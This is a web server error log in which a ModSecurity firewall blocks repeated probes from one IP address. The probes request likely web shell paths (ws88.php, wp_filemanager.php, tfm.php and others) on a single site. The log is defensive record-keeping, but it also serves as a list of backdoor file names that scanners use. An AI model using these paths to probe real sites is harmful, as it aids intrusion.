[Sun Apr 05 05:29:40.680708 2026] [:error] [pid 45305:tid 45387] [client 4.225.160.61:7778] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGCxOjDQjr7aWhjflD82AAAAJA"]
[Sun Apr 05 05:29:42.514356 2026] [:error] [pid 45303:tid 45322] [client 4.225.160.61:28179] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGCxrboQ9eViZ4hdnl5pgAAAAU"]
[Sun Apr 05 05:29:44.541996 2026] [:error] [pid 45409:tid 45411] [client 4.225.160.61:7748] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGCyNHt_Oyw03gjCNi8-wAAAMA"]
[Sun Apr 05 05:29:46.376433 2026] [:error] [pid 30921:tid 30931] [client 4.225.160.61:60400] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "adGCymFGQVn8Q0ueB25gfgAAAQg"]
[Sun Apr 05 05:29:47.764333 2026] [:error] [pid 30921:tid 30944] [client 4.225.160.61:7715] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "adGCy2FGQVn8Q0ueB25ghgAAARU"]
[Sun Apr 05 05:29:48.831342 2026] [:error] [pid 45303:tid 45336] [client 4.225.160.61:41369] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "adGCzLboQ9eViZ4hdnl5rQAAABM"]
[Sun Apr 05 05:29:49.517768 2026] [:error] [pid 45305:tid 45394] [client 4.225.160.61:28611] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "adGCzejDQjr7aWhjflD87gAAAJc"]
[Sun Apr 05 05:29:50.650429 2026] [:error] [pid 30921:tid 30943] [client 4.225.160.61:26925] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGCzmFGQVn8Q0ueB25gkwAAARQ"]
[Sun Apr 05 05:29:54.092777 2026] [:error] [pid 45304:tid 45355] [client 4.225.160.61:27351] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGC0g5jnqDKKovdRkn_YgAAAEs"]
[Sun Apr 05 05:29:56.568836 2026] [:error] [pid 30921:tid 30942] [client 4.225.160.61:48317] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGC1GFGQVn8Q0ueB25gowAAARM"]
[Sun Apr 05 05:29:58.568637 2026] [:error] [pid 45305:tid 45387] [client 4.225.160.61:40770] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGC1ujDQjr7aWhjflD9CwAAAJA"]
[Sun Apr 05 05:29:59.977657 2026] [:error] [pid 45305:tid 45389] [client 4.225.160.61:36045] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "adGC1-jDQjr7aWhjflD9EQAAAJI"]
[Sun Apr 05 05:30:02.831842 2026] [:error] [pid 45409:tid 45413] [client 4.225.160.61:37355] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "adGC2tHt_Oyw03gjCNi9IwAAAMI"]
[Sun Apr 05 05:30:04.769918 2026] [:error] [pid 45409:tid 45418] [client 4.225.160.61:30789] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "adGC3NHt_Oyw03gjCNi9JQAAAMc"]
[Sun Apr 05 05:30:06.801192 2026] [:error] [pid 45409:tid 45417] [client 4.225.160.61:30814] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "adGC3tHt_Oyw03gjCNi9KQAAAMY"]
[Sun Apr 05 05:30:09.826287 2026] [:error] [pid 45409:tid 45415] [client 4.225.160.61:32115] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8daf1238_1774208172.php"] [unique_id "adGC4dHt_Oyw03gjCNi9LwAAAMQ"]
[Sun Apr 05 05:30:26.282599 2026] [:error] [pid 45409:tid 45421] [client 4.225.160.61:15237] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adGC8tHt_Oyw03gjCNi9egAAAMo"]
[Sun Apr 05 05:30:28.199290 2026] [:error] [pid 30921:tid 30932] [client 4.225.160.61:52136] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adGC9GFGQVn8Q0ueB25g7AAAAQk"]
[Sun Apr 05 05:30:30.060814 2026] [:error] [pid 45305:tid 45376] [client 4.225.160.61:21783] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adGC9ujDQjr7aWhjflD9agAAAIU"]
[Sun Apr 05 05:30:31.922058 2026] [:error] [pid 45409:tid 45427] [client 4.225.160.61:25885] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adGC99Ht_Oyw03gjCNi9kQAAANA"]
[Sun Apr 05 05:30:35.300123 2026] [:error] [pid 45409:tid 45427] [client 4.225.160.61:48351] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adGC-9Ht_Oyw03gjCNi9mAAAANA"]
[Sun Apr 05 05:30:36.948544 2026] [:error] [pid 45305:tid 45390] [client 4.225.160.61:17146] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adGC_OjDQjr7aWhjflD9kAAAAJM"]
[Sun Apr 05 05:30:39.338778 2026] [:error] [pid 30921:tid 30933] [client 4.225.160.61:21797] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adGC_2FGQVn8Q0ueB25g-wAAAQo"]
[Sun Apr 05 05:30:40.415158 2026] [:error] [pid 45303:tid 45340] [client 4.225.160.61:17110] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "adGDALboQ9eViZ4hdnl54AAAABc"]
[Sun Apr 05 05:30:42.490677 2026] [:error] [pid 45305:tid 45388] [client 4.225.160.61:17132] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "adGDAujDQjr7aWhjflD9qwAAAJE"]
[Sun Apr 05 05:30:44.251574 2026] [:error] [pid 45305:tid 45393] [client 4.225.160.61:60266] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "adGDBOjDQjr7aWhjflD9tAAAAJY"]
[Sun Apr 05 05:30:45.923566 2026] [:error] [pid 45305:tid 45389] [client 4.225.160.61:17131] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "adGDBejDQjr7aWhjflD9wQAAAJI"]
[Sun Apr 05 05:30:49.704956 2026] [:error] [pid 45305:tid 45383] [client 4.225.160.61:24492] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "adGDCejDQjr7aWhjflD90AAAAIw"]
[Sun Apr 05 05:30:51.492327 2026] [:error] [pid 45409:tid 45434] [client 4.225.160.61:47111] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adGDC9Ht_Oyw03gjCNi90wAAANc"]
[Sun Apr 05 05:30:52.661896 2026] [:error] [pid 45409:tid 45415] [client 4.225.160.61:37305] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adGDDNHt_Oyw03gjCNi92wAAAMQ"]
[Sun Apr 05 05:30:54.266219 2026] [:error] [pid 45409:tid 45432] [client 4.225.160.61:37253] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adGDDtHt_Oyw03gjCNi96QAAANU"]
[Sun Apr 05 05:30:55.373360 2026] [:error] [pid 45409:tid 45431] [client 4.225.160.61:47116] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adGDD9Ht_Oyw03gjCNi98QAAANQ"]
[Sun Apr 05 05:30:57.025547 2026] [:error] [pid 45305:tid 45395] [client 4.225.160.61:51627] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adGDEejDQjr7aWhjflD96AAAAJg"]
[Sun Apr 05 05:30:58.836037 2026] [:error] [pid 45303:tid 45337] [client 4.225.160.61:57903] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adGDErboQ9eViZ4hdnl58wAAABQ"]
[Sun Apr 05 05:30:59.862316 2026] [:error] [pid 45303:tid 45339] [client 4.225.160.61:54777] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adGDE7boQ9eViZ4hdnl59gAAABY"]
[Sun Apr 05 05:31:00.860584 2026] [:error] [pid 45304:tid 45368] [client 4.225.160.61:54780] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adGDFA5jnqDKKovdRkn_owAAAFg"]
[Sun Apr 05 05:31:01.590839 2026] [:error] [pid 45305:tid 45384] [client 4.225.160.61:25295] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adGDFejDQjr7aWhjflD98QAAAI0"]
[Sun Apr 05 05:31:03.184009 2026] [:error] [pid 45305:tid 45371] [client 4.225.160.61:25282] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adGDF-jDQjr7aWhjflD99wAAAIA"]
[Sun Apr 05 05:31:04.320098 2026] [:error] [pid 45304:tid 45355] [client 4.225.160.61:42736] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adGDGA5jnqDKKovdRkn_rAAAAEs"]
[Sun Apr 05 05:31:06.307441 2026] [:error] [pid 45305:tid 45381] [client 4.225.160.61:20100] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adGDGujDQjr7aWhjflD-DgAAAIo"]
[Sun Apr 05 05:31:09.104791 2026] [:error] [pid 30921:tid 30934] [client 4.225.160.61:20531] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adGDHWFGQVn8Q0ueB25hHAAAAQs"]
[Sun Apr 05 05:31:11.743287 2026] [:error] [pid 45305:tid 45377] [client 4.225.160.61:59739] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adGDH-jDQjr7aWhjflD-HQAAAIY"]
[Sun Apr 05 05:31:14.202141 2026] [:error] [pid 45305:tid 45372] [client 4.225.160.61:59721] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adGDIujDQjr7aWhjflD-SgAAAIE"]
[Sun Apr 05 05:31:15.942025 2026] [:error] [pid 45409:tid 45425] [client 4.225.160.61:28675] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adGDI9Ht_Oyw03gjCNi-GQAAAM4"]
[Sun Apr 05 05:31:18.057179 2026] [:error] [pid 45305:tid 45385] [client 4.225.160.61:8048] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGDJujDQjr7aWhjflD-kQAAAI4"]
[Sun Apr 05 05:31:19.302262 2026] [:error] [pid 45305:tid 45377] [client 4.225.160.61:21020] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGDJ-jDQjr7aWhjflD-rwAAAIY"]
[Sun Apr 05 05:31:20.274202 2026] [:error] [pid 45304:tid 45355] [client 4.225.160.61:20124] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGDKA5jnqDKKovdRkn_vgAAAEs"]
[Sun Apr 05 05:31:20.923847 2026] [:error] [pid 45409:tid 45423] [client 4.225.160.61:39476] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGDKNHt_Oyw03gjCNi-IgAAAMw"]
[Sun Apr 05 05:31:22.402724 2026] [:error] [pid 45305:tid 45375] [client 4.225.160.61:61049] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pass4.php"] [unique_id "adGDKujDQjr7aWhjflD-7QAAAIQ"]
[Sun Apr 05 05:31:23.517952 2026] [:error] [pid 45305:tid 45390] [client 4.225.160.61:29439] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pass4.php"] [unique_id "adGDK-jDQjr7aWhjflD--AAAAJM"]
[Sun Apr 05 05:31:40.769211 2026] [:error] [pid 30921:tid 30945] [client 4.225.160.61:22119] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adGDPGFGQVn8Q0ueB25hfQAAARY"]
[Sun Apr 05 05:31:42.576633 2026] [:error] [pid 45304:tid 45362] [client 4.225.160.61:39446] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adGDPg5jnqDKKovdRkn_2wAAAFI"]
[Sun Apr 05 05:31:44.441011 2026] [:error] [pid 30921:tid 30925] [client 4.225.160.61:59820] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adGDQGFGQVn8Q0ueB25hiAAAAQI"]
[Sun Apr 05 05:31:46.354384 2026] [:error] [pid 45305:tid 45375] [client 4.225.160.61:19238] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adGDQujDQjr7aWhjflD_TwAAAIQ"]
[Sun Apr 05 05:31:47.485339 2026] [:error] [pid 45303:tid 45327] [client 4.225.160.61:61049] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adGDQ7boQ9eViZ4hdnl6PgAAAAo"]
